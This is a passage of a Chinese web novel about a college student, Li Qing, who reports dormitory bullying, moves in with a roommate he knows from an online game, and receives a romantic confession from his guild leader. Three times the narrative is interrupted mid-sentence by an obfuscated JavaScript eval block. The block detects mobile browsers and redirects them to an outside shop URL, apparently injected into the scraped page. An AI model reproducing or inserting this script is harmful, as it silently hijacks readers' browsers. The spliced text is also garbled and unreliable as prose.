正值赛点时刻，只有对面一人和他存活，胜负即将揭晓时，门“砰”从外面地被推开，他握着鼠标的手也随之一抖，被对方抓到机会，一枪爆头。 “靠！谁啊——” 看见变成灰色的屏幕，孙昊骂了句不干净的脏话。他本想发脾气，但看见门口一夜未归、穿着身睡衣回来的黎清，又有点心虚地合上了嘴。 黎清知道他在看自己，但没有理会。而是尽量面色如常的走向衣柜，拿了套衣服去卫生间换上，全程一个眼神都没分给孙昊。 终于在临走前，对方出了声。 “黎清。” 被叫住大名，黎清停顿下脚步，转过头去，示意他继续说。 “跟你说点事。” 孙昊站起身，黎清本能后退。见人这幅戒备的姿态，他的脸上竟有几分窘迫，半晌才尴尬开口： “那个，昨天晚上对不住啊。” 黎清倒是没想到孙昊会向自己道歉，毕竟怀疑自己的人是老三，他只是负责传话而已。虽然当理中客和稀泥也很恶心，但最该道歉的分明另有其人。 怎么突然通人性了？ 就在黎清不得其解的时候，孙昊接下来的话为他解开了疑惑。 “我们昨天晚上跟老三说了，这件事确实是他的问题更大。那叫什么来着，谁主张谁举证，他没有证据就怀疑你，那不是瞎搞吗。” 男生讪笑着，两只手交握着搓了搓：“老三这人，都忘了能用手机定位，那块表好像被他落家里了。你也别去找辅导员和老师，这件事大家以后都不提，就过去了呗，给我寝室长一个面子。” 听完这一席话，黎清了然。想来自己昨天半夜夺门而出，把这几个爱抱团的兄弟吓到了。 本以为欺负他就像捏软柿子，可谁会想到这平时都不知道反抗的人会突然有了脾气？ 横竖这几个人理亏，闹大了不好看，连寝室长这种破烂身份都搬出来了，这是生怕再被宿管再找一遍麻烦呢。 “不好意思，我不在乎你的面子。” 黎清扫了孙昊一眼，虽然气的攥紧拳头，但没再露出示弱的表情。看着眼前这张带着慌乱、愚钝无比的脸，他忽然记起了另一件事，正好可以解答这人昨晚的疑惑。 “对了。” 他开口，声音平直：“你之前不是在宿舍捡到了一双丝袜，还好奇是哪里来的吗？” 回忆着电视剧里反派的样子，黎清刻意扯起嘴角，让上缘的虎牙尖露了出来： “不好意思啊，那是商家发错的东西，就被我拿来当抹布擦脚了。” “不过看你闻的那么起劲，就送你吧。” 故意恶心人的话撂下，黎清转身离去，徒留孙昊这个蠢货愣在原地，一句话都说不出来。 . 鼓起勇气之后，接下来的事情也简单了很多。 到了教务处，黎清首先找到了系主任。他来之前打过腹稿，确保自己不会出现语无伦次的情况，还带着全程录音，显然是一桩简单明了的校园霸凌。 “如果不行的话，那就报警吧，丢了东西就该找警察，我随时配合。” 眼看对方还想和稀泥，黎清干脆抛出了杀手锏。这两个字一出，主任堆满横肉的脸上才终于有了表情，摆手劝他别冲动，同学之间有事好商量。 也许是“报警”二字的分量足够，负责这几个班级的辅导员很快被叫了过来。了解情况后，辅导员又转头去找班委，一层传一层，像一场匆忙的接力，最后一棒落到了班长手里——通知那几个人，现在立刻到行政楼来。 当几个室友匆匆赶到办公室时，黎清心里仍有些发紧。他吸了口气，强迫自己抬头直视他们。 在老师的问询下，几人的脸色渐渐白了。本想糊弄成误会，可听到录音里自己阴阳怪气的声音，那些狡辩的话再也说不出口。 更可笑的是，随着事情彻底败露，另外两个人竟不约而同地把老三推了出来，声称全是他在小群里的一面之词，自己只是出于义气帮忙而已。 “不是你昨天一口咬定表被他偷了，还怂恿我搜他柜子？” “我哪知道？你自己说表丢在宿舍的，那暑假只有他在，我好心出主意还错了？” “这事我可没参与……” “好了，现在给黎清同学道歉。” 最终还是由系主任敲定了惩罚。这件事毕竟没上升到肢体冲突，只是口角之争，记过不太可能，校方能做的也只是调解。黎清本来也没指望能把他们怎么样，他只是要一个说法，不想白白受欺负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16997398|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已。 当着几位老师的面，老三被要求承认错误，以获取黎清的原谅。 “对不起，黎清，我不该污蔑你偷东西，不该想要搜你的柜子。” 他垂着头，脸涨的通红，再也没有了昨天的神气。 批评教育、当众道歉。一切都顺利得不可思议。 黎清忽然意识到，这几个曾经仗着个头高大、让他不敢招惹的人，一旦撕破那层虚张声势的外壳，也不过是纸糊的老虎。 在周围严肃的目光和施压下，甚至没等黎清再开口，其余几人也都低头认了错。不仅全宿舍都得写检讨，作为“主犯”的老三德育分也被扣个精光，未来一年基本无缘各类奖项评优。 原来反抗并没有想象的可怕，自己也不用一直忍受。 走出行政楼时，黎清抬起头望向天空，长长地舒了一口气，心情是前所未有的平静。 如果可以，黎清此生都不想再见到那几个人，就让他们继续纠缠下去吧，也不知道经过这件事，这几个人还能不能继续做“好兄弟”。 闹剧终于收场，继续同住一个屋檐是不可能了，接下来当务之急就是住宿问题。 反正早就打算搬出去了，趁这个机会，黎清干脆联系了租房中介，订下了之前看好的那间房。 总算结束这该死的宿舍生活了。 . 黎清的离开异常迅速，因为赶时间，他在微信上跟房东谈好了价格，并决定立刻搬进去。整个过程还不到两天，就这样头也不回的走了。 提着行李到达新住处的那天，黎清站在门前，眼底已经没了当初对校外生活的期待，有的只是最后一点小小的要求。 只要合租室友是正常人就行…… 4栋1201。 乘电梯来到十二层，黎清用房东给的密码打开了门锁，还没来得及打量清屋内的情况，迎面就收获了一个问好。 “嗨！你就是黎清吧？我叫陶朗，你的室友。” 屋子内，一个将头发染成黄色的男生正坐在沙发上玩手机，见有人进来，他站起身走了过来，无比自然地接过了黎清手里的箱子，态度相当热情。 黎清其实有点受不了这种自来熟的人，但对方出于好意，自己当然也要礼貌道谢，并由他带领着走向房间。 这个叫陶朗的男生个子挺高，说起话来简直像机关枪，又密语速又快，边走还边自我介绍着。 “兄弟，你是财经的啊，我是对面理工的。咱们离这么近，算半个校友啊。我呢，租房子就是为了方便半夜打游戏，但你放心，晚上10点后绝不外放不大叫，保证不影响休息……” 短短几句话，陶朗就把自己交代了个干净。像他这样的人，黎清之前在天问里也认识了一个。不仅如此，两人甚至连音色都十分相似。 应该只是巧合吧？ 黎清环视周围。房子两室一厅，家具齐全，采光也不错，跟自己在图片上看到的没太大区别。 寒暄完后，陶朗主动提出加微信，之后有事也方便互相照应。 黎清掏出手机，扫描他的二维码。“滴”的一声，圆圈加载完成，一个有些熟悉的昵称赫然出现在了屏幕正中央。 185清纯男高。 柚子曾经悄悄和“好闺蜜”小清宝宝吐槽过这个ID。 ——怎会有人会起这么自恋的名字啊？游戏就算了，被现实认识的人看见不社死吗。 ——据说男人的身高只要超过180，就会想方设法让别人知道。 ——哎，小清，你觉得他到底是不是真的男高呢。我觉得不像，高中生学习任务那么重，应该没时间天天打游戏吧。 黎清当时没太放在心上，只是随便应和了两句。但现在看来，柚子的猜测好像不无道理。 他低头看了看手机上的名片，又抬头看了看眼前的人。显然，名字主人的真实信息显然已经和高中生不沾边了，属于年龄谎报。 至于前面那三个数字吗，黎清后退半步，暗自对比了一下自己和他的高度。 嗯……这个好像是真的。 14.第十四章 行李不多，一个下午就收拾好了。搬进新居的当晚，黎清铺好床，洗了个澡回到房间，终于得以休息片刻。 整体来说，这个公寓比想象中还要好。 离学校近，上课方便，各种设施也还算齐全。尽管依旧是合住，但各自都有自己的房间，阳台和卫生间也宽敞了一倍不止，比以前的条件要好太多。 除了… 想起隔壁房间的陶朗。黎清还是没从当时的震惊中回过神来。 合租室友竟是游戏里认识的人，世界上居然会有这么巧的事？连小说都不敢这么写。 虽然是被迫，但也算是和网友线下见面了，对黎清来说真是人生头一遭。 想想陶朗的自我介绍。在隔壁学校念书、为了打游戏特地出来租房子住，从某种程度上来说，和黎清的动机居然有共通之处。 要去跟他“相认”吗？ 不行，不能这么做。 这个念头只在脑海里闪过一瞬，就很快被否决了。身为一个很注重隐私和边界感的人，黎清并不希望现实和网络产生太多交集。 最近，男高似乎迷上了另一个游戏，连天问都很少上线了，帮派活动都是找人代打。说来说去，大家都有自己的生活。虽然加了游戏好友，但好像也没熟到可以线下面基的程度。 当然，除了这些，黎清的内心深处却总还有一个声音：其实你就是害怕吧，害怕自己是男生的事实被网上认识的人发现，尤其是… 不可以！ 想到可能会发生的事，黎清抱紧被子。 好不容易脱离了那个讨厌的宿舍，来到崭新的环境中，他其实还是有些兴奋的，但又因为陶朗这个计划外的存在而紧张。 就在这时，放在枕边的手机提示音响起。 【然：新住处怎么样？】 【然：今天累吗】 是独孤发过来的。得知黎清今天要搬出去，他提了好几次要帮忙找搬家公司，黎清好说歹说才劝他打消念头，这点距离真没必要。 【清清绵绵冰：挺好的】 【清清绵绵冰：不累，我东西很少，而且这里离学校也近】 【然：行】 【然：[摸摸头.gif]】 这个表情包…是我上次在朋友圈发的。 看着那个被摸头的白色团子，黎清愣了愣神，紧接着又收到叮嘱。 【然：门窗检查好了吗？】 【清清绵绵冰：嗯嗯】 【然：有事给我打电话】 【清清绵绵冰：嗯嗯】 【然：门口监控也装一个】 嗯…等等，是认真的吗？ 没想到独孤会突然提到这个，黎清有点惊讶。 这一片房子坐落在大学城附近，治安还算不错，没发生过什么恶性事件。而且自己离毕业也就一年多的时间了，不会长住，装监控未免太麻烦，还得征求室友和房东的同意。 他把自己的想法讲给了独孤听，可是独孤却很坚持，就像那天晚上非要检查酒店一样。 【然：女生一个人在外面住，装监控更安全】 拐来拐去又回到这个，黎清有点语塞，一时间也不知道该怎么说。只能谎称自己不是独居，室友是个开朗的女孩，有事会互相照应，这才敷衍了过去。 怎么会变成这样子呢？ 直到临睡前，黎清仍觉得独孤有些过于霸道。一部分举动甚至明显越过了寻常的社交距离，让他隐隐感到无所适从。 可我们是朋友啊……朋友之间，这样也算正常吧？ 想到这几日独孤为自己忙前忙后、出钱又出力，关照几乎无微不至，黎清心中又浮起一丝愧疚，怎么能埋怨他管太多呢。 望着昏暗中的天花板，他轻轻叹了口气，终于把那些模糊的不安按回心底。 也许自己只是还不习惯这样的亲近，朋友之间本就该互相包容才对。 . 又是一个周五，当天晚上八点半，大家都如约齐聚在了帮会的语音频道。 【副团长：大家都到了吗？到了就发车了哈，坐标集合】 又到了一周一次的团本时间，最近国庆快到了，天问新推出了一系列新的副本和活动，正是刷资源的好时候。 估计是不想在这种大好的日子给玩家添堵。这次的新副本难度低，爆率却挺高的，帮会顺利通过最高等级的50人团本后，更是一连开出了三件金色等级的装备和饰品。 “那个孔雀羽毛给我留着，剩下的你们看着拿去分。” 指挥完毕，独孤在麦里留了一句，将接下来的事务都交给团长处理。听他这样嘱咐，有好奇心重的人就在麦里问了一句。 “奇怪，帮主要加治疗的羽毛饰品干什么？他也用不上啊。” “给别人收的。” 这人估计想要这个羽毛，结果被半路截胡了。以往独孤都是打完本就走，他以为退了才问的，没想到人家不仅在频道里，还主动回答了这个问题。 “哈哈…这样啊。” 被正主抓包了，频道里的气氛一时有点尴尬。就在这时，一道甜甜的娃娃音突然开腔。 “是给我家小清收的吗？” 柚子在公共麦里说道。 “？” 刚才打完副本，总感觉内功还有需要调整的地方。黎清正埋头看着攻略，猝不及防却听见了自己的名字，目光不由得转向公屏。 “嗯。” 独孤回答。 “哦～原来是这样子啊。” 听到他承认，柚子发出了意味深长的沉吟，麦里的其他人也嗅到不寻常的气息，凑到一起关心起这事儿。 “什么啊小清，原来帮主是拍给你的？” “话说，上次帮主自留的那个玲珑锁也是药仙的专武吧。” “真假？啥情况啊。” 碰见这种八卦，还是跟帮主有关的，大家都有点起哄的意思。虽然不敢随便打趣独孤，但小清他们熟啊，性格很软的一个妹子，说话轻声细语的，看上去就完全不会生气的样子。 其实最近有不少人碰见过他俩组队了。尽管二人没有大张旗鼓的意思，但独孤的穿搭实在太光污染了，走到哪都会被注视，想不被发现都难。 不仅如此，他们还总穿着同色系的衣服，同乘一个坐骑，整天就这么腻歪在一起，怎么看都不像是关系普通的样子。 就连今天也是，药仙身上穿着最近推出的礼包套装。这套的主题是公主裙，整体色调粉粉嫩嫩，可爱又甜美。 而独孤呢？他也把配套的西服穿在了身上，连染色配方都没有改，一身骚包的粉红色很是吸睛。 大家什么时候见帮主穿过这种衣服。独孤的审美是典型的直男风，大部分衣服都被无脑染成黑白，怎么酷怎么来，而头发则偏爱那种闪瞎眼的高饱和色。难得今天这么粉嫩温柔，大伙都有点认不出来了。 “真的哎，这穿的也是情侣装吧。” “我靠，咱们要有嫂子了？” “……” 看到这些话，黎清脸色微红，想说点什么，却又不知该从何说起。 其实吧，这套时装确实是他送给独孤的，为了感谢这些日子的帮助，他特地选了套近期最受欢迎的衣服卡点送的。 当时选的急，只看了女装的宣传图，觉得好看就定下了，没想到配套的男装居然是这种风格，看上去就跟独孤不太搭。 好在收礼物的人没有嫌弃，收到后就穿在了身上，已经两天没有换了，这次副本也穿着。现在被人打趣成情侣装，真是怎么说都说不清。 “只是同一套系的男装和女装而已…” 笨啊，这不就是等同于是情侣装的意思吗？还不如不解释呢。 黎清真是服了自己的嘴了，面对帮众的追问，只能嗫嚅着说“没有”，说话吞吞吐吐，听上去跟害羞似的。 而另一边，作为被八卦的另一个当事人，独孤却没有说什么。既没有退出频道，也没有出言解释，只是站在那儿，过了好一会才不咸不淡的制止。 “行了，不要当着人家的面说这些，瞎起哄。” 帮主大人发话，大家也都消停了，没再继续调侃。但听这耐人寻味的态度和语句，心里多多少少有了定夺。 他们帮主，估计是跟小清宝宝有情况咯。 . 【私密】柚子：闺蜜，你怎么这样 【私密】柚子：你跟帮主果然有奸情，之前还瞒着我 【私密】柚子：[大哭] 不出所料，副本刚退，柚子的私信就随之到来。 【私密】小清宝宝：没有… 【私密】小清宝宝：不是这样的 实在没办法，黎清只能挑拣着把最近发生的事情概括了一遍。 【私密】小清宝宝：我们没有在一起 【私密】小清宝宝：只是最近我生活上遇到一些事，帮主帮了我很多 【私密】小清宝宝：衣服是我为了感谢送给他的 天真如他，以为这些文字能打消柚子的疑惑，解释清楚情侣装的由来，谁曾想却更加深了误解。 【私密】柚子：什么？！你们已经发展到现实了？？ 【私密】柚子：我的天 【私密】柚子：不知道说什么，但是宝，你开心就好了 【私密】柚子：多嘴一句，虽然帮主的人品我放心，但如果要线下还是要谨慎哦 【私密】柚子：[小脸通红] 黎清扶额，这都什么跟什么啊，而且他们俩估计是不会发展到线下那一步的。 解释不清，黎清索性又给柚子送了一个套装，以证明自己没有“搞特殊”。但钱是花了，心里依旧很不得劲，带着这种感觉，黎清无从倾诉，只能选择了一个没人认识他又很热闹的地方——论坛。 【此版块为公开】任务攻略专区 【天问分区】日常＞＞＞闲聊 《主题：最近和朋友走的比较近，大家总开我们玩笑怎么办》 #1 楼主 如题，最近在游戏里认识了一个玩的还不错的朋友。这次活动我送了他一套衣服，被认识的人开玩笑说成情侣装怎么办？ #2 前排，感觉有故事 #4 能怎么办，用嘴解释呗 #5 楼主你好像发错地方了，这是攻略区 #8 楼主 回复5L：不好意思，因为我平时都是逛的这个区，不小心发错了。已经申请修改了，但管理员审核还没通过 #9 楼主 回复4L：说了，但大家貌似都没当回事，依然觉得我们有些什么 ＃11 哈？为什么会这样 #12 瞎起哄吧 #13 玩天问的人是不是都很闲，整天不是复制粘贴就是八卦别人的感情生活，一大堆应声虫[倒拇指] #15 哇靠，你们看楼主标题：走得近。这几个字就很暧昧啊，没准是他们干了什么事才引起了大家的误会呢，别一上来就诋毁我们天问玩家行吗 #16 对啊楼主，你能先细说一下你和朋友的事情吗，你给的信息这么少，我们怎么帮你分析 #18 楼主 好的，很抱歉。 我和朋友，以下简称D吧，认识的过程比较复杂，有些误会，就不多说了 最开始我以为D是个很高冷的人，但是认识久了才发现他其实人挺好的，平时很照顾我，还会送一些礼物，一来二去我们就经常双排了 最近我现实发生了一些事，这件事对我打击很大。这期间D经常打电话安慰我，给我出主意，还给我转了钱，我很感谢他，于是回赠了衣服，然后就被开玩笑了 #20 。。。 #21 朋友？ ＃22 这就是在谈吧，楼主你这家伙… #23 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006969|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗戳戳秀crush的心机人士 #24 楼主 回22L：不是的，我们没有谈 #25 楼主 回23L：crush是什么意思？ ＃26 呵呵，谁信 #27 反正我不信 #29 是连呼吸麦的那种朋友吗 #31 楼主 真的没有，大家相信我 #32 楼主 回29L：呼吸麦是什么？ ＃33 好了！别逗楼主了，认真帮忙分析分析啊 #35 OK，姑且算没谈吧。那楼主你说说，你跟D认识多久了？你们平时是一直双排，没有别人吗？ #36 他给你花了多少钱？ #37 主页挂关系了没？ #38 你们怎么这么多问题？楼主别急，慢慢回 #39 楼主 大家说了好多啊…我一起回答了吧。 1.目前认识一个多月了 2.平时双排的话没有别人，就我和D两个人，但是周末打帮战会和大家一起 3.花了多少钱没特地算过，但加上转账和送的东西，可能有个几万… 4.挚友算关系吗？这其实是个称号，平时我们会挂在头上 #40 几万？？ #41 这活动还有吗 #42 接个莫名其妙给我几万的网友 #42 接 #43 接 #45 一群没见过世面的，万把块这就叫有钱了？也就做件武器的零头，在你游根本不够看 #46 楼上先v我50看看实力 #48 可他们才认识了一个月啊，一个月几万已经很多了吧 #49 楼主，D是不是家底挺厚的，在排行榜上不？透露下呗 #50 楼主 不好意思，这个涉及到了他的隐私，不方便回答 #52 ？？ #54 楼主这个认真的劲，有点呆有点可爱怎么回事 #55 坛友你们越界了知道吗？ #56 OK，OK，不问隐私，楼主你赢了 那我换个问题，对于被开玩笑这件事，D是什么反应？他也是另一个当事人啊，听描述怎么只有楼主一个人在困扰 #57 人没准乐见其成呢 #58 楼主 我也不算特别困扰吧，只是觉得有点不自在 至于他，D对这件事没什么特别大的反应，但也制止了那些起哄的人，让他们别再当着我的面开这些玩笑了 #60 不要当面？那就是私下可以说的意思咯？ #52 wow，这段话很耐人寻味 #54 不是我说，别人起哄的时候，D绝对在暗爽吧 #55 是我过度解读了吗？这个相处的模式，感觉D私底下早就把楼主当女朋友看了。没准早就和别人说自己谈上了，很享受这种被八卦的感觉，所以才会故意说这种容易让人误会的话呢 #57 确实，听着很别扭啊 #60 呵呵，之前有个追我的人就这样，我只是加了他微信，他就到处吹牛说我答应表白了，烦的要死，楼主你要注意点 #61 细思极恐 #62 楼主 回60L：不不，不会这样的！ #63 楼主 他人很好的，不会做这种事 #64 楼主 其实他是我们帮会的帮主，要指挥帮战，事情挺多的。那些人叫我嫂子的时候他要结算奖励、roll点什么的，估计都没仔细听，所以没说什么 #66 好家伙，三连否认 #67 …突然不想帮忙分析了怎么回事 #68 居然还是个大帮主吗。笑死，楼主就这样一边不想泄露D的隐私一边把人家底裤都交代了个干净 #69 这楼主到底想干啥 首先来攻略区发情感贴就算了，大伙好心帮忙。一通描述先是让大家好奇，这两人都这样了居然还没谈？然后三言两语让人觉得她特别呆萌，对面温水煮青蛙挺有手段的。结果我们还没说点重话呢，又转头维护上自己的亲亲“搭子”了 #75 无语，我是造了什么孽要看这些小情侣玩捅破窗户纸的戏码，把坛友当套使？ #77 行，楼主你nb 那最后一个问题，你喜欢D吗？ 这个问题是决定性的，因为他对你有意思已经显而易见，你喜不喜欢他则直接决定了未来关系的走向 … #101 怎么不回复了？ #103 六百六十六，关键时刻玩失踪 #104 遇到难回答的问题就不说话了，是想通了去表白，还是接受不了去互删 #108 把咱们当狗耍呢 #111 合理怀疑这个楼主也把这身拉扯的功力用在了朋友身上，让他寝食难安，让他夜不能寐，让他辗转反侧…… #114 只有我一个人觉得楼主只是单纯比较呆萌吗？你们叽里呱啦说这么多，估计都吓到人家妹妹了 #115 就这样呆呆萌萌的冷暴力咱们 #118 楼主有后续了能回来更新下吗汪汪汪 … 15.第十五章 黎清没有继续回贴，因为他觉得这些人的思维都太跳脱了。 到了后面，帖子的走向似乎分为了两派。一派的人认为楼主太过单纯，已经快被朋友吃干抹净了。而另一派的人却认为楼主有点渣，只捞好处不想负责，还故意装纯。 十分极端的两种评价。但无论哪种，似乎都默认了朋友对楼主有别样的心思。 黎清汗颜，觉得这些说法都不准确。 首先呢，他就不是一个单纯的人，相反很有“心机”，最初接近独孤也是别有用心。 但经过这些日子的相处，他已经放下过去的那些恩怨了，没有再玩弄任何人的意思。 至于那些逼问他到底喜不喜欢朋友的，黎清更是不知道该怎么回答，甚至连思考都不愿意，本能选择了逃避。 因为这个小插曲，黎清一整天都有点心不在焉，晚上打游戏时也很沉默。 “在想什么？” 耳麦对面的人开口问道。 沉浸在思绪之中，猝不及防被提问，黎清本能就回答：“在想你…” ——的事情。 “想我什么？” 听到这句话，独孤的声音出现笑意。 这人最近总是这样，黎清摸了摸耳垂。莫名其妙就开始笑，声音压的很低，听着麻麻的，也不知道到底在笑些什么。 剑修一个连招，很快将面前的野怪boss击杀。脱离战斗后，他释放轻功飞到药仙身边，点击发起双人交互。 这是这次时装礼盒的配套动作，和粉嫩的色调一样，互动也格外亲昵。男角色会半跪在女角色的裙边，亲吻她的手背。而女角色则会弯下腰，先是触摸男角色的脸，再由对方站起身后整个抱起，宛如公主和她最忠诚的……大狗？ 呃…… 都怪论坛那群人，黎清现在满脑子都是些奇怪的东西，什么牵绳子，什么调.教的，待到动作结束才小声说道： “你怎么都不换衣服啊。” “你不也没换？” 对方没有正面回答，反倒又抛出了一个问题。 那我和你的衣柜容量能一样吗？ 这句话黎清没说，说了伤自尊，不过他本来也没想在这方面和独孤比。 “我喜欢这套啊，这个裙子很好看。”黎清慢吞吞回答，还端详起裙子上的花纹，装作很懂的样子：“上面还印着草莓呢。” “我也喜欢。” 黎清说完，独孤接着开口：“因为是某人送我的。” 就算是送的，你应该也不缺这一套吧。 独孤又笑了，他一笑，黎清的耳根子就有点发烫。 其实吧，抛开和这身衣服有关的误解，看见独孤经常穿，他心里也是有点高兴的，谁不喜欢自己送出去的东西被重视呢。 就这样，两人你一言我一语，看似没聊什么内容，氛围却越来越微妙。 做完日常后，独孤在原地停了会儿，似乎想起了什么，黎清的面前也随即弹出一个交易申请。 “对了，忘记把这个给你了。” 银白色的羽毛饰品被放到交易框的一侧，黎清很快认了出来，这就是那天打完本后独孤预留的装备，也是柚子贴脸开大的起因。 看见这样东西，尴尬的回忆再次浮现于脑海。不仅于此，论坛里的回帖也给黎清带来了些许影响。 渣女、捞、享受暧昧，在别人眼底，我真的就是这样的形象吗？他有些不安。 仔细想想也是，和独孤认识的这些日子里，自己已经收了对方很多东西了，却无力回报。黎清也想过用擅长的方式表达感谢，结结巴巴提出了方案，却惨遭当场拒绝。 “给我代练？不要。” 独孤当时的语气就像见了鬼似的，带着十二分的难以置信：“你帮我把任务做完了，那我陪你做日常的时候干什么？真要纯挂机啊。” 人家不同意，黎清也觉得有道理，于是就换成了送衣服。但一套时装，哪怕是买的大全套，撑死了也就百来块钱，再来十件也不够看。 按照金额来算，怎么都是独孤吃亏了，但这却已经是黎清经济能力内能做到的仅有回报了。 于是，经历一番思想斗争后，黎清还是叉掉了交易框的界面。看见对面发过来的大大问号，他低垂眼帘，在微信对话框内郑重打下几行字： 【清清绵绵冰：还是不要了】 【清清绵绵冰：你帮了我太多，真的不好意思再收了】 【清清绵绵冰：我们只是网友，这样不好】 . … 我们只是… 网友。 … 不开玩笑，看见这句话时，萧奕然差点把牙咬碎。 长达几十页的聊天记录、无数次的连麦和电话、不知道叫过多少次的哥哥、自以为是的暧昧相处……这一个多月里，他们几乎每天都黏在一起。 在萧奕然心里，两人俨然是超越了普通朋友的亲密，彼此特别，互相在意，连现实都能分享，离谈恋爱只差临门一脚。结果到头来却只收到一个—— 网友关系？ 这冰冷的两个字像却一记重击，一下砸在了萧奕然脑门上，将他硬生生打回现实，一股火气直冲天灵盖。 【然：？】 【然：网友】 【然：你跟每个网友都这样整天聊天打游戏？】 他飞快打字，语气有些失控。好在对面也很快给出答复。 【清清绵绵冰：怎么可能】 【清清绵绵冰：我每天都跟你待在一起，哪有时间和别人聊】 每天都跟你一起。 不和别人。 有的时候，萧奕然真觉得她的文字有魔力，简单的几句话就能迅速挑起自己的情绪，又轻松叫这情绪阴雨转晴。 其实他心里清楚，人家说的没错，他们既没有恋爱，现实也没有交集。说来说去，唯有网友二字最为贴切。 可是萧奕然不满意。 他不满意的点很多。比如网友前面应该加点定语，像是“固定双排的”、“列表亲密度最高的”、“只和我一个人连麦的”，总该有点什么才能彰显出特殊性。 再说，网友为什么就不能收礼物了？自从【独孤】这个账号注册以来，私信和好友申请每天都爆满，里面全是问能不能送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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小清的声音听起来很委屈，不仅委屈，还有点埋怨。也是，大半夜被人突然打视频，不接都不行，铃声像炸弹倒计时一样一直响。以为有什么要紧事呢，等到真接通了却又不说话了。 对于萧奕然的这份沉默，视频对面的人显然十分不满，微微皱着眉，做起表情来更加生动。 生气了吗？连瞪人也这么可爱。 该说什么才能让她消气。 遭了，打视频之前应该先整理一下发型的。 被那双眼睛盯着，萧奕然的脑子已经乱成了浆糊。什么别被坏女人骗、别表现得太在意、要端着点姿态等对面先主动云云……朋友苦口婆心的劝诫，连同着自己一开始那点故作得意的打算，通通都被抛到了九霄云外。 这一刻，萧奕然无比清晰的认识到了自己的感情。他不想只和小清做网友，也不想她再拒绝自己的礼物，更惶恐看她露出半点不高兴的表情。无数情绪在胸腔里冲撞，心跳快得发慌，而最终脱口而出的，只剩下最原始、最直白的那一句—— “我想说的是…我喜欢你。” 他听见自己的声音，低而清晰，带着豁出一切的决意： “和我在一起吧。” 16.第十六章 “我喜欢你”四个字撞进耳膜时，黎清还整个人缩在被子里。 被子里空间狭小，燥热让他有些呼吸不畅，连同舌头也像打了结。 我这是被表白了吗？黎清的脑子一片空白，手足无措。 一切发生的太突然，可细想之下又早有预兆。两个现实毫无交集的人，因游戏结缘，逐渐发展成现在这般剪不断、理还乱的关系。 如果人与人之间可以用进度条来表示，那他们之间显然已经到达了临界点。 最早是什么时候的呢？大概是发现独孤打本时会迁就自己的走位开始。日复一日的相处中，那个印象里高冷淡漠的帮主渐渐模糊，取而代之的是这个会在电话那头听他哭泣、坚定支撑的身影。 而现在，这个人正透过屏幕看着黎清。自接通后，他的目光就没挪开半分。 话说回来，这还是黎清第一次正儿八经的看清他的长相。独孤平时的自拍总是遮遮掩掩的，似乎是想营造什么氛围感，正脸堪比国家机密。 这下总算看清楚了，该说不说，长相和声音相当符合。刚认识的时候他就这样，说话冷冷的，语调很平，无端就给人一种很不好惹的感觉。 而此刻，手机右上角的小屏幕上，黎清看见的就是这样一张相当不好惹的脸：眼尾微挑，鼻梁高挺，眉骨的轮廓压着眼，不做任何表情也像是冷着脸，不用开口就能将人拒之千里。 不可否认是帅的，但整体气质过分锐利，更别提他还这样直直地看着黎清。 “…你别这样。” 突然间被告白，又被人死死盯着，黎清本能就想将自己藏进黑暗之中，害怕泄露一丝一毫的心虚。 “等等！” 他刚想挪出画面，那边就传来制止。 “让我再看看。” 这语气近乎于请求了，黎清从没听过他这样说话，更别说表露出类似的情绪。 “我是认真的。”屏幕那头的声音一字一句，敲在黎清紧绷的神经上。 “做我女朋友吧。” …… 如果说听到“我喜欢你”时，黎清内心确确实实感受到了悸动。那么“女朋友”三个字一落，他的心又重重跌回了原地。 我做不了谁的女朋友的。 因为我根本就不是… 黎清张了张嘴，最后却什么都没说，凝滞的沉默和表情已经给出了答案。 “为什么？” 隔着屏幕，独孤盯着小清的脸。他素来被评价为爱装，甚至在朋友面前都端着架子，但还是在感情的折磨下变得多话起来。 “我不信你对我一点都没感觉，你说你每天都只和我聊、想我的事情，出了事之后找我打电话，前几天还送衣服……” 他一件件数，像在清点二人暧昧不清的证据，而每说完一件，黎清的心就往下更沉一分，他们之间何止这些呢，回忆是抹不掉的。 “难道你说的都是谎话？你对谁都这么说？” “不是的！”黎清慌忙否认：“我真的只和你玩的多，不信的话你可以上我的号检查。我真的…” “那为什么不答应？” 话没说完就被打断，独孤不给他任何喘息的机会，继续步步紧逼，“没感觉？讨厌我？还是别的？总得给个理由。” “我们就做朋友不好吗？”黎清几乎是乞求了。 “就像以前那样，一起打游戏，连麦聊天，难道不好吗。” “朋友？” 萧奕然像是听到了什么笑话，他拧紧眉宇，神色十分复杂。 “你的意思是，在我已经表白之后，你还是只想继续当‘朋友’？” 不可以吗。 黎清低下头，不敢看他的眼睛。 “那我该怎么办？我每天睁开眼睛就想找你说话，不管玩什么都跟你一起，发那些朋友圈也只是为了吸引你的注意力。这要我怎么甘心跟你当朋友，我控制不住的，你不能这么对我。” 独孤笑了，那笑声干涩，像是自嘲，眼底甚至泛着不明显的血丝。 “如果有一天，我不玩天问了呢？我们总会分开的。” 独孤…会不玩天问吗？ 